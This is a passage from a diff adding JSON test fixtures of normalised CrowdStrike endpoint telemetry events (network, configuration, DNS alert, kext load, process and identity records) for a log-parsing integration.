+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff44564c2f8d76394cb25c31ab",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364938416497226937",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3967242894"
+                ],
+                "ip": [
+                    "67.43.156.13"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:35.967Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1803419442",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "InterfaceIndex": 18,
+                "LocalAddressIP4": [
+                    "67.43.156.14"
+                ],
+                "NetLuidIndex": 2,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b7b7-066cc89bcebf",
+                "name": "LocalIpAddressRemovedIP4MacV1"
+            },
+            "device": {
+                "id": "ffffffff5ae3449ab33a1809fe6c5ce2"
+            },
+            "event": {
+                "action": "LocalIpAddressRemovedIP4",
+                "category": [
+                    "configuration",
+                    "host"
+                ],
+                "created": "2021-07-07T17:04:35.967Z",
+                "id": "ffffffff-1111-11eb-b7b7-066cc89bcebf|ffffffff5ae3449ab33a1809fe6c5ce2|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"LocalAddressIP4\":\"67.43.156.14\",\"event_simpleName\":\"LocalIpAddressRemovedIP4\",\"ConfigStateHash\":\"1803419442\",\"aip\":\"67.43.156.14\",\"InterfaceIndex\":\"18\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"NetLuidIndex\":\"2\",\"Entitlements\":\"15\",\"name\":\"LocalIpAddressRemovedIP4MacV1\",\"id\":\"ffffffff-1111-11eb-b7b7-066cc89bcebf\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff5ae3449ab33a1809fe6c5ce2\",\"timestamp\":\"1625677475967\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffff5ae3449ab33a1809fe6c5ce2",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "LocalIpAddressRemovedIP4",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff5ae3449ab33a1809fe6c5ce2",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "1803419442"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "source": {
+                "address": "67.43.156.14",
+                "as": {
+                    "number": 35908
+                },
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": "67.43.156.14"
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:35.413Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1701000200",
+                "ConnectionFlags": "0",
+                "ContextProcessId": "12241681491990",
+                "ContextTimeStamp": "2021-07-07T17:04:34.875Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "15",
+                "InContext": "0",
+                "LocalAddressIP6": [
+                    "0:0:0:0:0:0:0:1"
+                ],
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8130-02cde7751097",
+                "name": "NetworkCloseIP6LinV6"
+            },
+            "destination": {
+                "address": "0:0:0:0:0:0:0:1",
+                "ip": "0:0:0:0:0:0:0:1",
+                "port": 9
+            },
+            "device": {
+                "id": "ffffffff335f47ca89cad6a19f203bbd"
+            },
+            "event": {
+                "action": "NetworkCloseIP6",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:04:35.413Z",
+                "id": "ffffffff-1111-11eb-8130-02cde7751097|ffffffff335f47ca89cad6a19f203bbd|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"NetworkCloseIP6\",\"ContextTimeStamp\":\"1625677474.875\",\"LocalAddressIP6\":\"0:0:0:0:0:0:0:1\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1701000200\",\"ConnectionFlags\":\"0\",\"ContextProcessId\":\"12241681491990\",\"RemotePort\":\"9\",\"aip\":\"67.43.156.13\",\"ConfigBuild\":\"1007.8.0011308.1\",\"event_platform\":\"Lin\",\"LocalPort\":\"59999\",\"Entitlements\":\"15\",\"name\":\"NetworkCloseIP6LinV6\",\"id\":\"ffffffff-1111-11eb-8130-02cde7751097\",\"Protocol\":\"17\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ffffffff335f47ca89cad6a19f203bbd\",\"ConnectionDirection\":\"2\",\"InContext\":\"0\",\"timestamp\":\"1625677475413\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "end",
+                    "connection"
+                ]
+            },
+            "host": {
+                "id": "ffffffff335f47ca89cad6a19f203bbd",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "NetworkCloseIP6",
+            "network": {
+                "community_id": "1:3WneLMsNfPNapoUBcHO8QHx99mg=",
+                "direction": "unknown",
+                "iana_number": "17",
+                "transport": "udp"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.13"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.13"
+                ],
+                "serial_number": "ffffffff335f47ca89cad6a19f203bbd",
+                "version": "1007.8.0011308.1"
+            },
+            "process": {
+                "entity_id": "12241681491990"
+            },
+            "related": {
+                "hash": [
+                    "1701000200"
+                ],
+                "ip": [
+                    "67.43.156.13",
+                    "0:0:0:0:0:0:0:1"
+                ]
+            },
+            "source": {
+                "address": "0:0:0:0:0:0:0:1",
+                "ip": "0:0:0:0:0:0:0:1",
+                "port": 59999
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:50.580Z",
+            "crowdstrike": {
+                "ConfigStateData": [
+                    "0,0,1007.8.0011611.1",
+                    "1,c,0",
+                    "1,22,6",
+                    "1,59,2d",
+                    "2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205"
+                ],
+                "ConfigStateHash": "1156120155",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-af89-06c111484f9f",
+                "name": "ConfigStateUpdateLinV2"
+            },
+            "device": {
+                "id": "ffffffffa74a4c89b9984a3a7124bb9d"
+            },
+            "event": {
+                "action": "ConfigStateUpdate",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2021-07-07T17:04:50.580Z",
+                "id": "ffffffff-1111-11eb-af89-06c111484f9f|ffffffffa74a4c89b9984a3a7124bb9d|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"ConfigBuild\":\"1007.8.0011611.1\",\"event_simpleName\":\"ConfigStateUpdate\",\"event_platform\":\"Lin\",\"ConfigStateHash\":\"1156120155\",\"ConfigStateData\":\"0,0,1007.8.0011611.1|1,c,0|1,22,6|1,59,2d|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|\",\"name\":\"ConfigStateUpdateLinV2\",\"aip\":\"67.43.156.14\",\"id\":\"ffffffff-1111-11eb-af89-06c111484f9f\",\"aid\":\"ffffffffa74a4c89b9984a3a7124bb9d\",\"timestamp\":\"1625677490580\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffffa74a4c89b9984a3a7124bb9d",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ConfigStateUpdate",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffa74a4c89b9984a3a7124bb9d",
+                "version": "1007.8.0011611.1"
+            },
+            "related": {
+                "hash": [
+                    "1156120155"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:53.756Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3090255842",
+                "ContextProcessId": "364839648316192383",
+                "ContextTimeStamp": "2021-07-07T17:04:53.531Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-a4a3-02cbdfb8f529",
+                "name": "SuspiciousDnsRequestMacV1"
+            },
+            "device": {
+                "id": "ffffffff0cd64fb78626ab1b6c65ac8c"
+            },
+            "dns": {
+                "question": {
+                    "name": "hg-t2.dotice.me",
+                    "registered_domain": "dotice.me",
+                    "subdomain": "hg-t2",
+                    "top_level_domain": "me",
+                    "type": "A"
+                },
+                "type": "query"
+            },
+            "event": {
+                "action": "SuspiciousDnsRequest",
+                "category": [
+                    "network"
+                ],
+                "created": "2021-07-07T17:04:53.756Z",
+                "id": "ffffffff-1111-11eb-a4a3-02cbdfb8f529|ffffffff0cd64fb78626ab1b6c65ac8c|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"SuspiciousDnsRequest\",\"ContextTimeStamp\":\"1625677493.531\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364839648316192383\",\"DomainName\":\"hg-t2.dotice.me\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"SuspiciousDnsRequestMacV1\",\"id\":\"ffffffff-1111-11eb-a4a3-02cbdfb8f529\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff0cd64fb78626ab1b6c65ac8c\",\"timestamp\":\"1625677493756\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"RequestType\":\"1\"}",
+                "outcome": "success",
+                "type": [
+                    "start",
+                    "protocol"
+                ]
+            },
+            "host": {
+                "id": "ffffffff0cd64fb78626ab1b6c65ac8c",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "SuspiciousDnsRequest",
+            "network": {
+                "protocol": "dns"
+            },
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff0cd64fb78626ab1b6c65ac8c",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364839648316192383",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:30.922Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1156120155",
+                "ErrorStatus": "3759276032",
+                "Facility": "16778240",
+                "File": "0",
+                "Line": "96",
+                "Parameter1": "18446744072635810412",
+                "Parameter2": "0",
+                "Parameter3": "0",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-bdd3-0681aa29cecb",
+                "name": "ErrorEventLinV1"
+            },
+            "device": {
+                "id": "ffffffffabd047b1a86c1fcd8ef22b59"
+            },
+            "event": {
+                "action": "ErrorEvent",
+                "category": [
+                    "package"
+                ],
+                "created": "2021-07-07T17:05:30.922Z",
+                "id": "ffffffff-1111-11eb-bdd3-0681aa29cecb|ffffffffabd047b1a86c1fcd8ef22b59|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"Parameter2\":\"0\",\"event_simpleName\":\"ErrorEvent\",\"Parameter1\":\"18446744072635810412\",\"Parameter3\":\"0\",\"ConfigStateHash\":\"1156120155\",\"aip\":\"67.43.156.14\",\"Line\":\"96\",\"ConfigBuild\":\"1007.8.0011611.1\",\"event_platform\":\"Lin\",\"ErrorStatus\":\"3759276032\",\"name\":\"ErrorEventLinV1\",\"id\":\"ffffffff-1111-11eb-bdd3-0681aa29cecb\",\"Facility\":\"16778240\",\"aid\":\"ffffffffabd047b1a86c1fcd8ef22b59\",\"File\":\"0\",\"timestamp\":\"1625677530922\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "failure",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffffabd047b1a86c1fcd8ef22b59",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ErrorEvent",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffabd047b1a86c1fcd8ef22b59",
+                "version": "1007.8.0011611.1"
+            },
+            "related": {
+                "hash": [
+                    "1156120155"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:30.590Z",
+            "crowdstrike": {
+                "ConfigStateData": [
+                    "0,0,1007.4.0013701.1",
+                    "1,2,1",
+                    "1,4,a",
+                    "1,6,0",
+                    "1,8,46",
+                    "1,a,1",
+                    "1,c,0",
+                    "1,17,1f",
+                    "1,18,18",
+                    "1,19,0",
+                    "1,1e,407",
+                    "1,21,3d2",
+                    "1,27,1",
+                    "1,53,18b",
+                    "1,56,0",
+                    "1,d0,16d",
+                    "1,d1,0",
+                    "1,d2,0",
+                    "1,df,4c",
+                    "1,e0,6",
+                    "1,f6,1",
+                    "1,1f5,1",
+                    "1,1f7,1",
+                    "1,1fd,1",
+                    "1,200,0",
+                    "2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0",
+                    "3,0,65"
+                ],
+                "ConfigStateHash": "3090255842",
+                "EffectiveTransmissionClass": "0",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-8dc4-0234c12f9875",
+                "name": "ConfigStateUpdateMacV2"
+            },
+            "device": {
+                "id": "ffffffffa15a452190ae454f7d33e07e"
+            },
+            "event": {
+                "action": "ConfigStateUpdate",
+                "category": [
+                    "configuration"
+                ],
+                "created": "2021-07-07T17:05:30.590Z",
+                "id": "ffffffff-1111-11eb-8dc4-0234c12f9875|ffffffffa15a452190ae454f7d33e07e|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"ConfigStateUpdate\",\"ConfigStateHash\":\"3090255842\",\"ConfigStateData\":\"0,0,1007.4.0013701.1|1,2,1|1,4,a|1,6,0|1,8,46|1,a,1|1,c,0|1,17,1f|1,18,18|1,19,0|1,1e,407|1,21,3d2|1,27,1|1,53,18b|1,56,0|1,d0,16d|1,d1,0|1,d2,0|1,df,4c|1,e0,6|1,f6,1|1,1f5,1|1,1f7,1|1,1fd,1|1,200,0|2,0,138,a8000000032,140000000085,140000000153,18000000004c,18000000004f,180000000050,180000000051,180000000054,1800000000e1,1800000000e7,180000000144,18000000014e,18000000015a,18000000020e,180000000226,180000000227,180400000079,18040000009b,18040000009c,1804000000ff,180400000117,180400000118,180400000142,180400000163,180400000164,180400000166,180400000167,1804000001b2,1804000001f2,1804000001f3,180400000225,1804000002be,1804000002bf,1804000002ca,1804000002cb,1808000000c9,1808000000ee,1808000000fc,1808000000fd,1808000000fe,180c0000016b,180c0000016c,180c0000016d,180c0000016e,180c0000016f,180c00000170,180c000001b6,180c000001b7,180c000001b8,180c000001b9,180c000001f6,180c000001f7,180c000001f8,180c000002c2,180c000002c3,180c000002c4,180c000002ce,180c000002cf,180c000002d0,18100000011e,18100000011f,181000000120,181000000121,181000000122,181000000123,181000000124,181000000125,181000000126,181000000128,181000000169,18100000016a,181000000180,1810000001b1,1810000001c3,18100000021f,181000000220,18100000024e,18100000025b,181000000280,1810000002ad,1810000002d6,1810000002d7,1810000002f3,1c04000000a1,1c04000000a2,1c04000000a3,1c04000000a4,1c04000000a5,1c04000000a6,1c040000011a,1c040000011b,1c040000011c,1c0400000268,1c0400000269,1c040000026a,1c040000026c,1c040000026d,1c040000026e,1c0400000271,1c0400000272,1c0400000273,1c0400000275,1c0400000276,1c0400000277,1c040000028f,1c0400000290,1c0400000291,1c0400000293,1c0400000294,1c0400000295,1c0400000297,1c0400000298,1c0400000299,1c040000029b,1c040000029c,1c040000029d,1c040000029f,1c04000002a0|3,0,65|\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"ConfigStateUpdateMacV2\",\"id\":\"ffffffff-1111-11eb-8dc4-0234c12f9875\",\"EffectiveTransmissionClass\":\"0\",\"aid\":\"ffffffffa15a452190ae454f7d33e07e\",\"timestamp\":\"1625677530590\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "ffffffffa15a452190ae454f7d33e07e",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "ConfigStateUpdate",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffa15a452190ae454f7d33e07e",
+                "version": "1007.4.0013701.1"
+            },
+            "related": {
+                "hash": [
+                    "3090255842"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:09.069Z",
+            "crowdstrike": {
+                "BundleID": "com.apple.driver.AudioAUUC",
+                "ConfigStateHash": "1620585913",
+                "ContextProcessId": "364867547408058681",
+                "ContextTimeStamp": "2021-07-07T17:05:09.064Z",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-a2ae-028f6bf89be7",
+                "name": "KextLoadMacV1"
+            },
+            "device": {
+                "id": "ffffffffaa0e47a1b009aef151d6179d"
+            },
+            "event": {
+                "action": "load",
+                "category": [
+                    "driver"
+                ],
+                "created": "2021-07-07T17:05:09.069Z",
+                "id": "ffffffff-1111-11eb-a2ae-028f6bf89be7|ffffffffaa0e47a1b009aef151d6179d|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"KextLoad\",\"ContextTimeStamp\":\"1625677509.064\",\"ConfigStateHash\":\"1620585913\",\"ContextProcessId\":\"364867547408058681\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"BundleID\":\"com.apple.driver.AudioAUUC\",\"Entitlements\":\"15\",\"name\":\"KextLoadMacV1\",\"id\":\"ffffffff-1111-11eb-a2ae-028f6bf89be7\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffaa0e47a1b009aef151d6179d\",\"timestamp\":\"1625677509069\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "ffffffffaa0e47a1b009aef151d6179d",
+                "os": {
+                    "type": "macos"
+                }
+            },
+            "message": "KextLoad",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffaa0e47a1b009aef151d6179d",
+                "version": "1007.4.0013701.1"
+            },
+            "process": {
+                "entity_id": "364867547408058681",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "1620585913"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:07.901Z",
+            "crowdstrike": {
+                "ChannelId": "20",
+                "ChannelVersion": "25",
+                "ChannelVersionRequired": "0",
+                "ConfigStateHash": "3155796140",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b411-06baeacb7a63",
+                "name": "ChannelVersionRequiredLinV1"
+            },
+            "device": {
+                "id": "ffffffff67d54f7daf3d998ffc74d48e"
+            },
+            "event": {
+                "action": "ChannelVersionRequired",
+                "created": "2021-07-07T17:05:07.901Z",
+                "id": "ffffffff-1111-11eb-b411-06baeacb7a63|ffffffff67d54f7daf3d998ffc74d48e|ffffffff15754bcfb5f9152ec7ac90ac",
+                "original": "{\"ChannelVersion\":\"25\",\"event_simpleName\":\"ChannelVersionRequired\",\"ConfigStateHash\":\"3155796140\",\"aip\":\"67.43.156.14\",\"ChannelVersionRequired\":\"0\",\"ChannelId\":\"20\",\"ConfigBuild\":\"1007.8.0011110.1\",\"event_platform\":\"Lin\",\"name\":\"ChannelVersionRequiredLinV1\",\"id\":\"ffffffff-1111-11eb-b411-06baeacb7a63\",\"aid\":\"ffffffff67d54f7daf3d998ffc74d48e\",\"timestamp\":\"1625677507901\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}"
+            },
+            "host": {
+                "id": "ffffffff67d54f7daf3d998ffc74d48e",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ChannelVersionRequired",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffff67d54f7daf3d998ffc74d48e",
+                "version": "1007.8.0011110.1"
+            },
+            "related": {
+                "hash": [
+                    "3155796140"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2021-07-07T17:05:11.754Z",
+            "crowdstrike": {
+                "BoundedCount": 57,
+                "ConfigStateHash": "2037712541",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "ProcessCount": 60,
+                "SHA256HashData": "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20",
+                "SuppressType": "3",
+                "Timeout": 60,
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-b34e-063f4cefccb3",
+                "name": "ProcessRollup2StatsLinV3"
+            },
+            "device": {
+                "id": "ffffffffe22549479fbe8293b6747a68"
+            },
+            "event": {
+                "action": "ProcessRollup2Stats",
+                "category": [
+                    "process"
+                ],
+                "created": "2021-07-07T17:05:11.754Z",
+                "id": "ffffffff-1111-11eb-b34e-063f4cefccb3|ffffffffe22549479fbe8293b6747a68|ffffffff15754bcfb5f9152ec7ac90ac",
+                "kind": "state",
+                "original": "{\"event_simpleName\":\"ProcessRollup2Stats\",\"ConfigStateHash\":\"2037712541\",\"Timeout\":\"60\",\"ParentProcessId\":\"0\",\"aip\":\"67.43.156.14\",\"SuppressType\":\"3\",\"SHA256HashData\":\"64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20\",\"ProcessCount\":\"60\",\"BoundedCount\":\"57\",\"ConfigBuild\":\"1007.8.0011308.1\",\"UID\":\"115\",\"event_platform\":\"Lin\",\"CommandLine\":\"sh -c \\\"/usr/lib/erlang/erts-11.1.3/bin/epmd\\\" -daemon\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2StatsLinV3\",\"id\":\"ffffffff-1111-11eb-b34e-063f4cefccb3\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffe22549479fbe8293b6747a68\",\"timestamp\":\"1625677511754\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}",
+                "outcome": "unknown",
+                "type": [
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "ffffffffe22549479fbe8293b6747a68",
+                "os": {
+                    "type": "linux"
+                }
+            },
+            "message": "ProcessRollup2Stats",
+            "observer": {
+                "address": [
+                    "67.43.156.14"
+                ],
+                "geo": {
+                    "continent_name": "Asia",
+                    "country_iso_code": "BT",
+                    "country_name": "Bhutan",
+                    "location": {
+                        "lat": 27.5,
+                        "lon": 90.5
+                    }
+                },
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "serial_number": "ffffffffe22549479fbe8293b6747a68",
+                "version": "1007.8.0011308.1"
+            },
+            "process": {
+                "args": [
+                    "sh",
+                    "-c",
+                    "/usr/lib/erlang/erts-11.1.3/bin/epmd",
+                    "-daemon"
+                ],
+                "args_count": 4,
+                "command_line": "sh -c \"/usr/lib/erlang/erts-11.1.3/bin/epmd\" -daemon",
+                "hash": {
+                    "sha256": "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20"
+                },
+                "parent": {
+                    "entity_id": "0"
+                }
+            },
+            "related": {
+                "hash": [
+                    "64e48365207d0c19008ba7d53d75c0de3fcd5a1590e4c40fc69c677663fedc20",
+                    "2037712541"
+                ],
+                "ip": [
+                    "67.43.156.14"
+                ],
+                "user": [
+                    "115"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "115"
+            }
+        },
+        {
+            "@timestamp": "2021-07-07T17:04:38.122Z",
+            "crowdstrike": {
+                "AuthenticationId": "265",
+                "AuthenticationUuid": "FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109",
+                "AuthenticationUuidAsString": "FFFFEEEE-DDDD-CCCC-BBBB-AAAA00000109",
+                "ConfigStateHash": "3967242894",
+                "EffectiveTransmissionClass": "2",
+                "Entitlements": "15",
+                "LoginSessionId": "1138166333440",
+                "UserSid": "S-1-5-21-3852557355-3178143607-2040168074-1530",
+                "cid": "ffffffff15754bcfb5f9152ec7ac90ac",
+                "id": "ffffffff-1111-11eb-9dc2-029257dbe83b",
+                "name": "UserIdentityMacV4"
+            },
+            "device": {
+                "id": "ffffffff44564c2f8d76394cb25c31ab"
+            },
+            "event": {
+                "action": "UserIdentity",
+                "category": [
+                    "authentication",
+                    "iam"
+                ],
+                "created": "2021-07-07T17:04:38.122Z",
